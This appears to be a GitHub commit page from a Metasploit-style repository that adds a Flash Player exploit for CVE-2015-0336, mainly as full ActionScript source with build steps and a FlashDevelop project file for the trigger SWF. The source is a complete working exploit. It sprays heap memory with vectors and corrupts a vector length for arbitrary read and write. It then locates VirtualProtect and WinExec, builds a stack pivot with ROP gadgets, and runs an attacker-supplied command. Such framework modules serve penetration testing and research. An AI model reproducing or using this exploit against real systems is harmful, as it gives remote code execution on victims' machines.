Skip to content

Commit 9d7a7cb

Browse files
committed
Merge branch 'upstream/master' into multi-transport-support
Conflicts: lib/msf/core/payload/linux/bind_tcp.rb
2 parents 95e9057 + 60e2517 commit 9d7a7cb

File tree

22 files changed

+774
-29
lines changed

22 files changed

+774
-29
lines changed

data/exploits/CVE-2015-0336/msf.swf

17.6 KB
Binary file not shown.
340 Bytes
Binary file not shown.
Lines changed: 318 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,318 @@
1+
// Build how to:
2+
// 1. Download the AIRSDK, and use its compiler.
3+
// 2. Download the Flex SDK (4.6)
4+
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
5+
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
6+
// 4. Build with: mxmlc -o msf.swf Msf.as
7+
8+
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
9+
10+
package
11+
{
12+
import flash.utils.*
13+
import flash.display.*
14+
import flash.system.*
15+
import mx.utils.Base64Decoder
16+
17+
public final class Msf extends Sprite {
18+
private var interval_id:uint;
19+
20+
private var trigger_swf:String = ""
21+
22+
private var b64:Base64Decoder = new Base64Decoder();
23+
private var payload:String = ""
24+
25+
private var spray:Vector.<Object> = new Vector.<Object>(89698 + 100)
26+
private var corrupted_index:uint = 0
27+
private var restore_required:Boolean = false
28+
29+
private var uv:Vector.<uint>
30+
private var ba:ByteArray = new ByteArray()
31+
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
32+
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
33+
34+
public function Msf() {
35+
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
36+
payload = b64.toByteArray().toString();
37+
trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
38+
39+
ba.endian = "littleEndian"
40+
ba.length = 1024
41+
ba.writeUnsignedInt(0xdeedbeef)
42+
ba.position = 0
43+
44+
var i:uint = 0
45+
46+
while (i < 89698) {
47+
spray[i] = new Vector.<uint>(1014)
48+
spray[i][0] = 0xdeadbeef
49+
spray[i][1] = 0xdeedbeef
50+
spray[i][2] = i
51+
spray[i][29] = 0x1a1e1429
52+
i++
53+
}
54+
55+
for(i = 0; i < 89698; i = i + 1) {
56+
spray[i].length = 0x1e
57+
}
58+
59+
for(i = 0; i < 100; i = i + 1) {
60+
spray[i + 89698] = new Vector.<Object>(1014)
61+
spray[i + 89698][0] = ba
62+
spray[i + 89698][1] = this
63+
spray[i + 89698][2] = stack
64+
spray[i + 89698][3] = payload_space
65+
}
66+
67+
for(i = 0; i < 100; i = i + 1) {
68+
spray[i + 89698].length = 114
69+
}
70+
71+
var trigger_byte_array:ByteArray = createByteArray(trigger_swf)
72+
trigger_byte_array.endian = Endian.LITTLE_ENDIAN
73+
trigger_byte_array.position = 0
74+
75+
// Trigger corruption
76+
var trigger_loader:Loader = new Loader();
77+
trigger_loader.loadBytes(trigger_byte_array);
78+
79+
interval_id = setTimeout(exploit, 2000)
80+
}
81+
82+
public function createByteArray(hex_string:String) : ByteArray {
83+
var byte:String = null;
84+
var byte_array:ByteArray = new ByteArray();
85+
var hex_string_length:uint = hex_string.length;
86+
var i:uint = 0;
87+
while(i < hex_string_length)
88+
{
89+
byte = hex_string.charAt(i) + hex_string.charAt(i + 1);
90+
byte_array.writeByte(parseInt(byte,16));
91+
i = i + 2;
92+
}
93+
return byte_array;
94+
}
95+
96+
public function exploit():void {
97+
clearTimeout(interval_id)
98+
99+
for(var i:uint = 0; i < spray.length; i = i + 1) {
100+
if (spray[i].length != 0x1e) {
101+
corrupted_index = corrupt_vector_uint(i)
102+
restore_required = true
103+
uv = spray[corrupted_index]
104+
uv[0] = 0x1a1e3000 // We're being confident about the spray for exploitation anyway :-)
105+
control_execution()
106+
if (restore_required) {
107+
restore_vector_uint()
108+
}
109+
break;
110+
}
111+
}
112+
}
113+
114+
// make it better, search and return error if it doesn't work :-)
115+
public function corrupt_vector_uint(index:uint):uint {
116+
spray[index][0x3fe] = 0xffffffff
117+
return spray[index][0x402]
118+
}
119+
120+
public function restore_vector_uint():void {
121+
var atom:uint = spray[corrupted_index][0x3fffffff]
122+
spray[corrupted_index][0x3ffffbff] = atom
123+
spray[corrupted_index][0x3ffffbfe] = 0x1e
124+
// Restore vector corrupted by hand
125+
spray[corrupted_index][0x3ffffffe] = 0x1e
126+
}
127+
128+
public function control_execution():void {
129+
// Use the corrupted Vector<uint> to search saved addresses
130+
var object_vector_pos:uint = search_object_vector()
131+
if (object_vector_pos == 0xffffffff) {
132+
return
133+
}
134+
135+
var byte_array_object:uint = uv[object_vector_pos] - 1
136+
var main:uint = uv[object_vector_pos + 1] - 1
137+
var stack_object:uint = uv[object_vector_pos + 2] - 1
138+
var payload_space_object:uint = uv[object_vector_pos + 3] - 1
139+
140+
// Use the corrupted Vector<uint> to disclose arbitrary memory
141+
var buffer_object:uint = vector_read(byte_array_object + 0x40)
142+
var buffer:uint = vector_read(buffer_object + 8)
143+
var stack_address:uint = vector_read(stack_object + 0x18)
144+
var payload_address:uint = vector_read(payload_space_object + 0x18)
145+
var vtable:uint = vector_read(main)
146+
147+
// Set the new ByteArray length
148+
ba.endian = "littleEndian"
149+
ba.length = 0x500000
150+
151+
// Overwite the ByteArray data pointer and capacity
152+
var ba_array:uint = buffer_object + 8
153+
var ba_capacity:uint = buffer_object + 16
154+
vector_write(ba_array)
155+
vector_write(ba_capacity, 0xffffffff)
156+
157+
// restoring the corrupted vector length since we don't need it anymore
158+
restore_vector_uint()
159+
restore_required = false
160+
161+
var flash:uint = base(vtable)
162+
var winmm:uint = module("winmm.dll", flash)
163+
var kernel32:uint = module("kernel32.dll", winmm)
164+
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
165+
var winexec:uint = procedure("WinExec", kernel32)
166+
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
167+
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
168+
169+
// Continuation of execution
170+
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
171+
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
172+
byte_write(0, "\x89\x03", false) // mov [ebx], eax
173+
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
174+
175+
// Put the payload (command) in memory
176+
byte_write(payload_address + 8, payload, true); // payload
177+
178+
// Put the fake vtabe / stack on memory
179+
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
180+
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
181+
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
182+
byte_write(0, virtualprotect)
183+
184+
// VirtualProtect
185+
byte_write(0, winexec)
186+
byte_write(0, buffer + 0x10)
187+
byte_write(0, 0x1000)
188+
byte_write(0, 0x40)
189+
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
190+
191+
// WinExec
192+
byte_write(0, buffer + 0x10)
193+
byte_write(0, payload_address + 8)
194+
byte_write(0)
195+
196+
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
197+
198+
toString() // call method in the fake vtable
199+
}
200+
201+
private function search_object_vector():uint {
202+
var i:uint = 0;
203+
while (i < 89698 * 1024){
204+
if (uv[i] == 114) {
205+
return i + 1;
206+
}
207+
i++
208+
}
209+
return 0xffffffff
210+
}
211+
212+
// Methods to use the corrupted uint vector
213+
214+
private function vector_write(addr:uint, value:uint = 0):void
215+
{
216+
var pos:uint = 0
217+
218+
if (addr > uv[0]) {
219+
pos = ((addr - uv[0]) / 4) - 2
220+
} else {
221+
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
222+
}
223+
224+
uv[pos] = value
225+
}
226+
227+
private function vector_read(addr:uint):uint
228+
{
229+
var pos:uint = 0
230+
231+
if (addr > uv[0]) {
232+
pos = ((addr - uv[0]) / 4) - 2
233+
} else {
234+
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
235+
}
236+
237+
return uv[pos]
238+
}
239+
240+
// Methods to use the corrupted byte array for arbitrary reading/writing
241+
242+
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
243+
{
244+
if (addr) ba.position = addr
245+
if (value is String) {
246+
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
247+
if (zero) ba.writeByte(0)
248+
} else ba.writeUnsignedInt(value)
249+
}
250+
251+
private function byte_read(addr:uint, type:String = "dword"):uint
252+
{
253+
ba.position = addr
254+
switch(type) {
255+
case "dword":
256+
return ba.readUnsignedInt()
257+
case "word":
258+
return ba.readUnsignedShort()
259+
case "byte":
260+
return ba.readUnsignedByte()
261+
}
262+
return 0
263+
}
264+
265+
// Methods to search the memory with the corrupted byte array
266+
267+
private function base(addr:uint):uint
268+
{
269+
addr &= 0xffff0000
270+
while (true) {
271+
if (byte_read(addr) == 0x00905a4d) return addr
272+
addr -= 0x10000
273+
}
274+
return 0
275+
}
276+
277+
private function module(name:String, addr:uint):uint
278+
{
279+
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
280+
var i:int = -1
281+
while (true) {
282+
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
283+
if (!entry) throw new Error("FAIL!");
284+
ba.position = addr + entry
285+
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
286+
if (dll_name == name.toUpperCase()) {
287+
break;
288+
}
289+
}
290+
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
291+
}
292+
293+
private function procedure(name:String, addr:uint):uint
294+
{
295+
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
296+
var numberOfNames:uint = byte_read(eat + 0x18)
297+
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
298+
var addressOfNames:uint = addr + byte_read(eat + 0x20)
299+
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
300+
301+
for (var i:uint = 0; ; i++) {
302+
var entry:uint = byte_read(addressOfNames + i * 4)
303+
ba.position = addr + entry
304+
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
305+
}
306+
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
307+
}
308+
309+
private function gadget(gadget:String, hint:uint, addr:uint):uint
310+
{
311+
var find:uint = 0
312+
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
313+
var value:uint = parseInt(gadget, 16)
314+
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
315+
return addr + i
316+
}
317+
}
318+
}
Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
<?xml version="1.0" encoding="utf-8"?>
2+
<project version="2">
3+
<!-- Output SWF options -->
4+
<output>
5+
<movie outputType="Application" />
6+
<movie input="" />
7+
<movie path="trigger.swf" />
8+
<movie fps="30" />
9+
<movie width="800" />
10+
<movie height="600" />
11+
<movie version="0" />
12+
<movie minorVersion="0" />
13+
<movie platform="Custom" />
14+
<movie background="#FFFFFF" />
15+
</output>
16+
<!-- Other classes to be compiled into your SWF -->
17+
<classpaths>
18+
<class path="src" />
19+
</classpaths>
20+
<!-- Build options -->
21+
<build>
22+
<option verbose="False" />
23+
<option strict="False" />
24+
<option infer="False" />
25+
<option useMain="True" />
26+
<option useMX="False" />
27+
<option warnUnusedImports="False" />
28+
<option traceMode="FlashConnectExtended" />
29+
<option traceFunction="" />
30+
<option libraryPrefix="" />
31+
<option excludeFile="" />
32+
<option groupClasses="False" />
33+
<option frame="1" />
34+
<option keep="True" />
35+
</build>
36+
<!-- Class files to compile (other referenced classes will automatically be included) -->
37+
<compileTargets>
38+
<compile path="src\Main.as" />
39+
</compileTargets>
40+
<!-- Assets to embed into the output SWF -->
41+
<library>
42+
<!-- example: <asset path="..." id="..." update="..." glyphs="..." mode="..." place="..." sharepoint="..." /> -->
43+
</library>
44+
<!-- Paths to exclude from the Project Explorer tree -->
45+
<hiddenPaths>
46+
<hidden path="obj" />
47+
</hiddenPaths>
48+
<!-- Executed before build -->
49+
<preBuildCommand />
50+
<!-- Executed after build -->
51+
<postBuildCommand alwaysRun="False" />
52+
<!-- Other project options -->
53+
<options>
54+
<option showHiddenPaths="False" />
55+
<option testMovie="Unknown" />
56+
<option testMovieCommand="" />
57+
</options>
58+
<!-- Plugin storage -->
59+
<storage />
60+
</project>

0 commit comments

Comments
 (0)